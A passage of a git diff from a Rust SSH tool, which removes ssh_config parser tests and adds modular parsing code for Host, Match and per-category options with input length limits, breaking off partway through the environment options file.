test_parse_gateway_ports_with_equals() { - let content = r#" -Host example.com - GatewayPorts=yes -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); - } - - #[test] - fn test_parse_exit_on_forward_failure() { - let content = r#" -Host example.com - ExitOnForwardFailure yes - -Host other.com - ExitOnForwardFailure no -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 2); - assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); - assert_eq!(hosts[1].exit_on_forward_failure, Some(false)); - } - - #[test] - fn test_parse_exit_on_forward_failure_with_equals() { - let content = r#" -Host example.com - ExitOnForwardFailure=yes -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); - } - - #[test] - fn test_parse_permit_remote_open_single() { - let content = r#" -Host example.com - PermitRemoteOpen localhost:8080 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].permit_remote_open.len(), 1); - assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); - } - - #[test] - fn test_parse_permit_remote_open_multiple() { - let content = r#" -Host example.com - PermitRemoteOpen localhost:8080 db.internal:5432 cache.internal:6379 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].permit_remote_open.len(), 3); - assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); - assert_eq!(hosts[0].permit_remote_open[1], "db.internal:5432"); - assert_eq!(hosts[0].permit_remote_open[2], "cache.internal:6379"); - } - - #[test] - fn test_parse_permit_remote_open_special_values() { - // Test special values like 'any' and 'none' - let content = r#" -Host example.com - PermitRemoteOpen any - -Host other.com - PermitRemoteOpen none -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 2); - assert_eq!(hosts[0].permit_remote_open, vec!["any"]); - assert_eq!(hosts[1].permit_remote_open, vec!["none"]); - } - - #[test] - fn test_parse_permit_remote_open_multiple_declarations() { - // Multiple PermitRemoteOpen lines should accumulate - let content = r#" -Host example.com - PermitRemoteOpen localhost:8080 - PermitRemoteOpen db.internal:5432 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].permit_remote_open.len(), 2); - assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); - assert_eq!(hosts[0].permit_remote_open[1], "db.internal:5432"); - } - - #[test] - fn test_parse_permit_remote_open_with_equals() { - let content = r#" -Host example.com - PermitRemoteOpen=localhost:8080 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].permit_remote_open, vec!["localhost:8080"]); - } - - #[test] - fn test_parse_hostbased_authentication() { - let content = r#" -Host example.com - HostbasedAuthentication yes - -Host other.com - HostbasedAuthentication no -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 2); - assert_eq!(hosts[0].hostbased_authentication, Some(true)); - assert_eq!(hosts[1].hostbased_authentication, Some(false)); - } - - #[test] - fn test_parse_hostbased_authentication_with_equals() { - let content = r#" -Host example.com - HostbasedAuthentication=yes -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].hostbased_authentication, Some(true)); - } - - #[test] - fn test_parse_hostbased_accepted_algorithms() { - let content = r#" -Host example.com - HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 2); - assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-ed25519"); - assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "rsa-sha2-512"); - } - - #[test] - fn test_parse_hostbased_accepted_algorithms_with_spaces() { - // Test space-separated algorithms - let content = r#" -Host example.com - HostbasedAcceptedAlgorithms ssh-ed25519 rsa-sha2-512 ecdsa-sha2-nistp256 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 3); - assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-ed25519"); - assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "rsa-sha2-512"); - assert_eq!( - hosts[0].hostbased_accepted_algorithms[2], - "ecdsa-sha2-nistp256" - ); - } - - #[test] - fn test_parse_hostbased_accepted_algorithms_with_equals() { - let content = r#" -Host example.com - HostbasedAcceptedAlgorithms=ssh-rsa,ssh-dss -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 2); - assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-rsa"); - assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "ssh-dss"); - } - - #[test] - fn test_parse_all_new_options_combined() { - // Test all new options together in a realistic scenario - let content = r#" -Host secure.example.com - CertificateFile ~/.ssh/id_rsa-cert.pub - CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 - GatewayPorts clientspecified - ExitOnForwardFailure yes - PermitRemoteOpen localhost:8080 db.internal:5432 - HostbasedAuthentication yes - HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - - // Verify all fields are parsed correctly - assert_eq!(hosts[0].certificate_files.len(), 1); - assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); - assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); - assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); - assert_eq!(hosts[0].permit_remote_open.len(), 2); - assert_eq!(hosts[0].hostbased_authentication, Some(true)); - assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 3); - } - - #[test] - fn test_parse_new_options_with_mixed_syntax() { - // Test mixing Option=Value and Option Value syntax - let content = r#" -Host example.com - CertificateFile=~/.ssh/id_rsa-cert.pub - CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 - GatewayPorts=yes - ExitOnForwardFailure yes - PermitRemoteOpen=localhost:8080 - HostbasedAuthentication=no - HostbasedAcceptedAlgorithms ssh-ed25519 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - - // Verify all fields are parsed correctly - assert_eq!(hosts[0].certificate_files.len(), 1); - assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); - assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); - assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); - assert_eq!(hosts[0].permit_remote_open, vec!["localhost:8080"]); - assert_eq!(hosts[0].hostbased_authentication, Some(false)); - assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 1); - } - - #[test] - fn test_parse_certificate_file_empty_value() { - let content = r#" -Host example.com - CertificateFile -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - // Error message is wrapped with context, so check for both the line reference and the option name - assert!(err_msg.contains("CertificateFile")); - assert!(err_msg.contains("line 3")); - } - - #[test] - fn test_parse_ca_signature_algorithms_empty_value() { - let content = r#" -Host example.com - CASignatureAlgorithms -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - assert!(err_msg.contains("CASignatureAlgorithms")); - assert!(err_msg.contains("line 3")); - } - - #[test] - fn test_parse_gateway_ports_empty_value() { - let content = r#" -Host example.com - GatewayPorts -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - assert!(err_msg.contains("GatewayPorts")); - assert!(err_msg.contains("line 3")); - } - - #[test] - fn test_parse_exit_on_forward_failure_empty_value() { - let content = r#" -Host example.com - ExitOnForwardFailure -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - assert!(err_msg.contains("ExitOnForwardFailure")); - assert!(err_msg.contains("line 3")); - } - - #[test] - fn test_parse_permit_remote_open_empty_value() { - let content = r#" -Host example.com - PermitRemoteOpen -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - assert!(err_msg.contains("PermitRemoteOpen")); - assert!(err_msg.contains("line 3")); - } - - #[test] - fn test_parse_hostbased_authentication_empty_value() { - let content = r#" -Host example.com - HostbasedAuthentication -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - assert!(err_msg.contains("HostbasedAuthentication")); - assert!(err_msg.contains("line 3")); - } - - #[test] - fn test_parse_hostbased_accepted_algorithms_empty_value() { - let content = r#" -Host example.com - HostbasedAcceptedAlgorithms -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - assert!(err_msg.contains("HostbasedAcceptedAlgorithms")); - assert!(err_msg.contains("line 3")); - } -} diff --git a/src/ssh/ssh_config/parser/core.rs b/src/ssh/ssh_config/parser/core.rs new file mode 100644 index 00000000..3eebe176 --- /dev/null +++ b/src/ssh/ssh_config/parser/core.rs @@ -0,0 +1,315 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! Core SSH configuration parsing functionality +//! +//! This module contains the main parsing logic for SSH configurations, +//! including the 2-pass parsing strategy for Include and Match directives. + +use crate::ssh::ssh_config::include::{combine_included_files, resolve_includes}; +use crate::ssh::ssh_config::match_directive::{MatchBlock, MatchCondition}; +use crate::ssh::ssh_config::types::{ConfigBlock, SshHostConfig}; +use anyhow::{Context, Result}; +use std::path::Path; + +use super::options; + +/// Parse SSH configuration content with Include and Match support +pub fn parse(content: &str) -> Result> { + // For synchronous parsing without file path, we can't resolve includes + // This maintains backward compatibility for tests and simple usage + parse_without_includes(content) +} + +/// Parse SSH configuration from a file with full Include support +pub async fn parse_from_file(path: &Path, content: &str) -> Result> { + // Pass 1: Resolve all Include directives + let included_files = resolve_includes(path, content) + .await + .with_context(|| format!("Failed to resolve includes for {}", path.display()))?; + + // Combine all included files into a single configuration + let combined_content = combine_included_files(&included_files); + + // Pass 2: Parse the combined configuration + parse_without_includes(&combined_content) +} + +/// Parse SSH configuration content without Include resolution +pub(super) fn parse_without_includes(content: &str) -> Result> { + // Security: Set reasonable limits to prevent DoS attacks + const MAX_LINE_LENGTH: usize = 8192; // 8KB per line should be more than enough + const MAX_VALUE_LENGTH: usize = 4096; // 4KB for individual values + + let mut configs = Vec::new(); + let mut current_config: Option = None; + let mut current_match: Option = None; + let mut line_number = 0; + let mut in_match_block = false; + + for line in content.lines() { + line_number += 1; + + // Skip source file comments added by include resolution + if line.starts_with("# Source:") { + continue; + } + + // Security: Check line length to prevent DoS + if line.len() > MAX_LINE_LENGTH { + anyhow::bail!( + "Line {} exceeds maximum length of {} bytes", + line_number, + MAX_LINE_LENGTH + ); + } + + let line = line.trim(); + + // Skip empty lines and comments + if line.is_empty() || line.starts_with('#') { + continue; + } + + // Get lowercase version of line for keyword detection + let lower_line = line.to_lowercase(); + + // Check for Include directive (should have been resolved in pass 1) + if lower_line.starts_with("include") { + // In direct parsing mode, we skip Include directives + tracing::debug!( + "Skipping Include directive at line {} (not in file mode)", + line_number + ); + continue; + } + + // Check for Match directive + if lower_line.starts_with("match ") + || lower_line.starts_with("match\t") + || lower_line == "match" + || lower_line.starts_with("match=") + { + // Save previous config if any + if let Some(config) = current_config.take() { + configs.push(config); + } + if let Some(match_block) = current_match.take() { + configs.push(match_block.config); + } + + // Parse Match conditions + let conditions = MatchCondition::parse_match_line(line, line_number)?; + + // Create new Match block + let mut match_block = MatchBlock::new(line_number); + match_block.conditions = conditions.clone(); + + // Create config for this Match block + let config = SshHostConfig { + block_type: Some(ConfigBlock::Match(conditions)), + ..Default::default() + }; + match_block.config = config; + + current_match = Some(match_block); + current_config = None; + in_match_block = true; + continue; + } + + // Check for Host directive (must be "host" not "hostname" etc.) + if lower_line.starts_with("host ") + || lower_line.starts_with("host\t") + || lower_line == "host" + || (lower_line.starts_with("host=") && !lower_line.starts_with("hostname=")) + { + // Save previous config if any + if let Some(config) = current_config.take() { + configs.push(config); + } + if let Some(match_block) = current_match.take() { + configs.push(match_block.config); + } + + // Parse Host patterns + let patterns = parse_host_line(line, line_number)?; + + // Create new Host config + let config = SshHostConfig { + host_patterns: patterns.clone(), + block_type: Some(ConfigBlock::Host(patterns)), + ..Default::default() + }; + + current_config = Some(config); + current_match = None; + in_match_block = false; + continue; + } + + // Parse configuration option + let (keyword, args) = parse_config_line(line, line_number, MAX_VALUE_LENGTH)?; + + if keyword.is_empty() { + continue; + } + + // Apply option to current config block + if in_match_block { + if let Some(ref mut match_block) = current_match { + options::parse_option(&mut match_block.config, &keyword, &args, line_number) + .with_context(|| format!("Error at line {line_number}: {line}"))?; + } + } else if let Some(ref mut config) = current_config { + options::parse_option(config, &keyword, &args, line_number) + .with_context(|| format!("Error at line {line_number}: {line}"))?; + } else { + // Global option outside any block + // In OpenSSH, these set defaults but we're ignoring them for now + tracing::debug!( + "Ignoring global option '{}' at line {}", + keyword, + line_number + ); + } + } + + // Don't forget the last config + if let Some(config) = current_config { + configs.push(config); + } + if let Some(match_block) = current_match { + configs.push(match_block.config); + } + + Ok(configs) +} + +/// Parse a Host directive line +pub(super) fn parse_host_line(line: &str, line_number: usize) -> Result> { + let line = line.trim(); + + // Support both "Host pattern" and "Host=pattern" syntax + let patterns_str = if let Some(pos) = line.find('=') { + // Host=pattern syntax + if line[..pos].trim().to_lowercase() != "host" { + anyhow::bail!("Invalid Host directive at line {}", line_number); + } + line[pos + 1..].trim() + } else { + // Host pattern syntax + let parts: Vec<&str> = line.split_whitespace().collect(); + if parts.is_empty() || parts[0].to_lowercase() != "host" { + anyhow::bail!("Invalid Host directive at line {}", line_number); + } + if parts.len() < 2 { + anyhow::bail!( + "Host directive requires at least one pattern at line {}", + line_number + ); + } + // Join all parts after "Host" + line[parts[0].len()..].trim() + }; + + if patterns_str.is_empty() { + anyhow::bail!( + "Host directive requires at least one pattern at line {}", + line_number + ); + } + + // Split into individual patterns + let patterns: Vec = patterns_str + .split_whitespace() + .map(|s| s.to_string()) + .collect(); + + Ok(patterns) +} + +/// Parse a configuration line into keyword and arguments +pub(super) fn parse_config_line( + line: &str, + line_number: usize, + max_value_length: usize, +) -> Result<(String, Vec)> { + let line = line.trim(); + + // Determine if using equals syntax + let eq_pos = line.find('='); + let uses_equals_syntax = if let Some(pos) = eq_pos { + // Has equals sign - extract first word to check + let prefix = &line[..pos]; + let first_word = prefix + .split_whitespace() + .next() + .unwrap_or("") + .to_lowercase(); + // Host and Match never use equals syntax + !matches!(first_word.as_str(), "host" | "match") + } else { + false + }; + + let (keyword, args) = if let Some(pos) = eq_pos.filter(|_| uses_equals_syntax) { + // Option=Value syntax + let key_part = line[..pos].trim(); + let value_part = &line[pos + 1..]; + + if key_part.is_empty() { + return Ok((String::new(), vec![])); + } + + let trimmed_value = value_part.trim(); + + // Security: Check value length + if trimmed_value.len() > max_value_length { + anyhow::bail!( + "Value at line {} exceeds maximum length of {} bytes", + line_number, + max_value_length + ); + } + + let args = if trimmed_value.is_empty() { + vec![] + } else { + // Special handling for comma-separated options + match key_part.to_lowercase().as_str() { + "ciphers" + | "macs" + | "hostkeyalgorithms" + | "kexalgorithms" + | "preferredauthentications" + | "protocol" => trimmed_value + .split(',') + .map(|s| s.trim().to_string()) + .collect(), + _ => vec![trimmed_value.to_string()], + } + }; + + (key_part.to_lowercase(), args) + } else { + // Option Value syntax (space-separated) + let mut parts = line.split_whitespace(); + let keyword = parts.next().unwrap_or("").to_lowercase(); + let args: Vec = parts.map(|s| s.to_string()).collect(); + (keyword, args) + }; + + Ok((keyword, args)) +} diff --git a/src/ssh/ssh_config/parser/helpers.rs b/src/ssh/ssh_config/parser/helpers.rs new file mode 100644 index 00000000..0831d0ff --- /dev/null +++ b/src/ssh/ssh_config/parser/helpers.rs @@ -0,0 +1,28 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! Helper functions for SSH configuration parsing + +use anyhow::Result; + +/// Parse yes/no boolean values from SSH configuration +pub fn parse_yes_no(value: &str, line_number: usize) -> Result { + match value.to_lowercase().as_str() { + "yes" | "true" | "1" => Ok(true), + "no" | "false" | "0" => Ok(false), + _ => { + anyhow::bail!("Invalid yes/no value '{value}' at line {line_number} (expected yes/no)") + } + } +} diff --git a/src/ssh/ssh_config/parser/mod.rs b/src/ssh/ssh_config/parser/mod.rs new file mode 100644 index 00000000..4bc61fa2 --- /dev/null +++ b/src/ssh/ssh_config/parser/mod.rs @@ -0,0 +1,35 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH configuration parsing module +//! +//! This module is organized into submodules for better maintainability: +//! - `core`: Main parsing functions and logic +//! - `helpers`: Utility functions for parsing +//! - `options`: Option-specific parsing logic organized by category +//! - `tests`: Comprehensive test suite + +mod core; +mod helpers; +mod options; + +#[cfg(test)] +mod tests; + +// Re-export public items from core module +pub(super) use core::{parse, parse_from_file}; + +// Re-export helper functions that might be used elsewhere + +// Re-export the main option parser (used by other modules if needed) diff --git a/src/ssh/ssh_config/parser/options/authentication.rs b/src/ssh/ssh_config/parser/options/authentication.rs new file mode 100644 index 00000000..410b8d92 --- /dev/null +++ b/src/ssh/ssh_config/parser/options/authentication.rs @@ -0,0 +1,132 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH authentication options parsing +//! +//! Handles authentication-related configuration options including +//! identity files, authentication methods, and algorithm preferences. + +use crate::ssh::ssh_config::parser::helpers::parse_yes_no; +use crate::ssh::ssh_config::security::secure_validate_path; +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::{Context, Result}; + +/// Parse authentication-related SSH configuration options +pub(super) fn parse_authentication_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "identityfile" => { + if args.is_empty() { + anyhow::bail!("IdentityFile requires a value at line {line_number}"); + } + let path = secure_validate_path(&args[0], "identity", line_number) + .with_context(|| format!("Invalid IdentityFile path at line {line_number}"))?; + host.identity_files.push(path); + } + "identitiesonly" => { + if args.is_empty() { + anyhow::bail!("IdentitiesOnly requires a value at line {line_number}"); + } + // Parse yes/no and store in identity_files behavior (implicit) + let value = parse_yes_no(&args[0], line_number)?; + if value { + // When IdentitiesOnly is yes, clear default identity files + // This is handled during resolution + } + } + "certificatefile" => { + if args.is_empty() { + anyhow::bail!("CertificateFile requires a value at line {line_number}"); + } + let path = secure_validate_path(&args[0], "certificate", line_number) + .with_context(|| format!("Invalid CertificateFile path at line {line_number}"))?; + host.certificate_files.push(path); + } + "pubkeyauthentication" => { + if args.is_empty() { + anyhow::bail!("PubkeyAuthentication requires a value at line {line_number}"); + } + host.pubkey_authentication = Some(parse_yes_no(&args[0], line_number)?); + } + "passwordauthentication" => { + if args.is_empty() { + anyhow::bail!("PasswordAuthentication requires a value at line {line_number}"); + } + host.password_authentication = Some(parse_yes_no(&args[0], line_number)?); + } + "kbdinteractiveauthentication" => { + if args.is_empty() { + anyhow::bail!( + "KbdInteractiveAuthentication requires a value at line {line_number}" + ); + } + host.keyboard_interactive_authentication = Some(parse_yes_no(&args[0], line_number)?); + } + "gssapiauthentication" => { + if args.is_empty() { + anyhow::bail!("GSSAPIAuthentication requires a value at line {line_number}"); + } + host.gssapi_authentication = Some(parse_yes_no(&args[0], line_number)?); + } + "preferredauthentications" => { + if args.is_empty() { + anyhow::bail!("PreferredAuthentications requires a value at line {line_number}"); + } + host.preferred_authentications = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + "hostbasedauthentication" => { + if args.is_empty() { + anyhow::bail!("HostbasedAuthentication requires a value at line {line_number}"); + } + host.hostbased_authentication = Some(parse_yes_no(&args[0], line_number)?); + } + "hostbasedacceptedalgorithms" => { + if args.is_empty() { + anyhow::bail!("HostbasedAcceptedAlgorithms requires a value at line {line_number}"); + } + // Security: Limit the number of algorithms to prevent memory exhaustion + const MAX_ALGORITHMS: usize = 50; + let algorithms: Vec = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) // Skip empty strings from malformed input + .take(MAX_ALGORITHMS) + .collect(); + + if args.join(",").split(',').count() > MAX_ALGORITHMS { + tracing::warn!( + "HostbasedAcceptedAlgorithms at line {} contains more than {} algorithms, truncated to first {}", + line_number, MAX_ALGORITHMS, MAX_ALGORITHMS + ); + } + + host.hostbased_accepted_algorithms = algorithms; + } + _ => unreachable!( + "Unexpected keyword in parse_authentication_option: {}", + keyword + ), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/basic.rs b/src/ssh/ssh_config/parser/options/basic.rs new file mode 100644 index 00000000..35e4047d --- /dev/null +++ b/src/ssh/ssh_config/parser/options/basic.rs @@ -0,0 +1,55 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! Basic SSH configuration options parsing +//! +//! Handles fundamental connection options like hostname, user, and port. + +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::{Context, Result}; + +/// Parse basic SSH configuration options +pub(super) fn parse_basic_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "hostname" => { + if args.is_empty() { + anyhow::bail!("HostName requires a value at line {line_number}"); + } + host.hostname = Some(args[0].clone()); + } + "user" => { + if args.is_empty() { + anyhow::bail!("User requires a value at line {line_number}"); + } + host.user = Some(args[0].clone()); + } + "port" => { + if args.is_empty() { + anyhow::bail!("Port requires a value at line {line_number}"); + } + let port: u16 = args[0].parse().with_context(|| { + format!("Invalid port number '{}' at line {}", args[0], line_number) + })?; + host.port = Some(port); + } + _ => unreachable!("Unexpected keyword in parse_basic_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/connection.rs b/src/ssh/ssh_config/parser/options/connection.rs new file mode 100644 index 00000000..c2059058 --- /dev/null +++ b/src/ssh/ssh_config/parser/options/connection.rs @@ -0,0 +1,114 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH connection options parsing +//! +//! Handles connection-related configuration options including keepalive +//! settings, timeouts, compression, and network settings. + +use crate::ssh::ssh_config::parser::helpers::parse_yes_no; +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::{Context, Result}; + +/// Parse connection-related SSH configuration options +pub(super) fn parse_connection_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "serveraliveinterval" => { + if args.is_empty() { + anyhow::bail!("ServerAliveInterval requires a value at line {line_number}"); + } + let interval: u32 = args[0].parse().with_context(|| { + format!( + "Invalid ServerAliveInterval value '{}' at line {}", + args[0], line_number + ) + })?; + host.server_alive_interval = Some(interval); + } + "serveralivecountmax" => { + if args.is_empty() { + anyhow::bail!("ServerAliveCountMax requires a value at line {line_number}"); + } + let count: u32 = args[0].parse().with_context(|| { + format!( + "Invalid ServerAliveCountMax value '{}' at line {}", + args[0], line_number + ) + })?; + host.server_alive_count_max = Some(count); + } + "connecttimeout" => { + if args.is_empty() { + anyhow::bail!("ConnectTimeout requires a value at line {line_number}"); + } + let timeout: u32 = args[0].parse().with_context(|| { + format!( + "Invalid ConnectTimeout value '{}' at line {}", + args[0], line_number + ) + })?; + host.connect_timeout = Some(timeout); + } + "connectionattempts" => { + if args.is_empty() { + anyhow::bail!("ConnectionAttempts requires a value at line {line_number}"); + } + let attempts: u32 = args[0].parse().with_context(|| { + format!( + "Invalid ConnectionAttempts value '{}' at line {}", + args[0], line_number + ) + })?; + host.connection_attempts = Some(attempts); + } + "batchmode" => { + if args.is_empty() { + anyhow::bail!("BatchMode requires a value at line {line_number}"); + } + host.batch_mode = Some(parse_yes_no(&args[0], line_number)?); + } + "compression" => { + if args.is_empty() { + anyhow::bail!("Compression requires a value at line {line_number}"); + } + host.compression = Some(parse_yes_no(&args[0], line_number)?); + } + "tcpkeepalive" => { + if args.is_empty() { + anyhow::bail!("TCPKeepAlive requires a value at line {line_number}"); + } + host.tcp_keep_alive = Some(parse_yes_no(&args[0], line_number)?); + } + "addressfamily" => { + if args.is_empty() { + anyhow::bail!("AddressFamily requires a value at line {line_number}"); + } + host.address_family = Some(args[0].clone()); + } + "bindaddress" => { + if args.is_empty() { + anyhow::bail!("BindAddress requires a value at line {line_number}"); + } + host.bind_address = Some(args[0].clone()); + } + _ => unreachable!("Unexpected keyword in parse_connection_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/control.rs b/src/ssh/ssh_config/parser/options/control.rs new file mode 100644 index 00000000..29e25f0a --- /dev/null +++ b/src/ssh/ssh_config/parser/options/control.rs @@ -0,0 +1,57 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH control socket options parsing +//! +//! Handles control socket configuration options for connection multiplexing +//! including ControlMaster, ControlPath, and ControlPersist settings. + +use crate::ssh::ssh_config::security::validate_control_path; +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::Result; + +/// Parse control socket SSH configuration options +pub(super) fn parse_control_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "controlmaster" => { + if args.is_empty() { + anyhow::bail!("ControlMaster requires a value at line {line_number}"); + } + host.control_master = Some(args[0].clone()); + } + "controlpath" => { + if args.is_empty() { + anyhow::bail!("ControlPath requires a value at line {line_number}"); + } + let path = args[0].clone(); + // ControlPath has different validation - it allows SSH substitution patterns + validate_control_path(&path, line_number)?; + host.control_path = Some(path); + } + "controlpersist" => { + if args.is_empty() { + anyhow::bail!("ControlPersist requires a value at line {line_number}"); + } + host.control_persist = Some(args[0].clone()); + } + _ => unreachable!("Unexpected keyword in parse_control_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/environment.rs b/src/ssh/ssh_config/parser/options/environment.rs new file mode 100644 index 00000000..a8558f4e --- /dev/null +++ b/src/ssh/ssh_config/parser/options/environment.rs @@ -0,0 +1,70 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH environment options parsing +//! +//! Handles environment-related configuration options including SendEnv +//! and SetEnv settings for passing environment variables to remote hosts. + +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::Result; + +/// Parse environment-related SSH configuration options +pub(super) fn parse_environment_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "sendenv" => { + if args.is_empty() { + anyhow::bail!("SendEnv requires a value at line 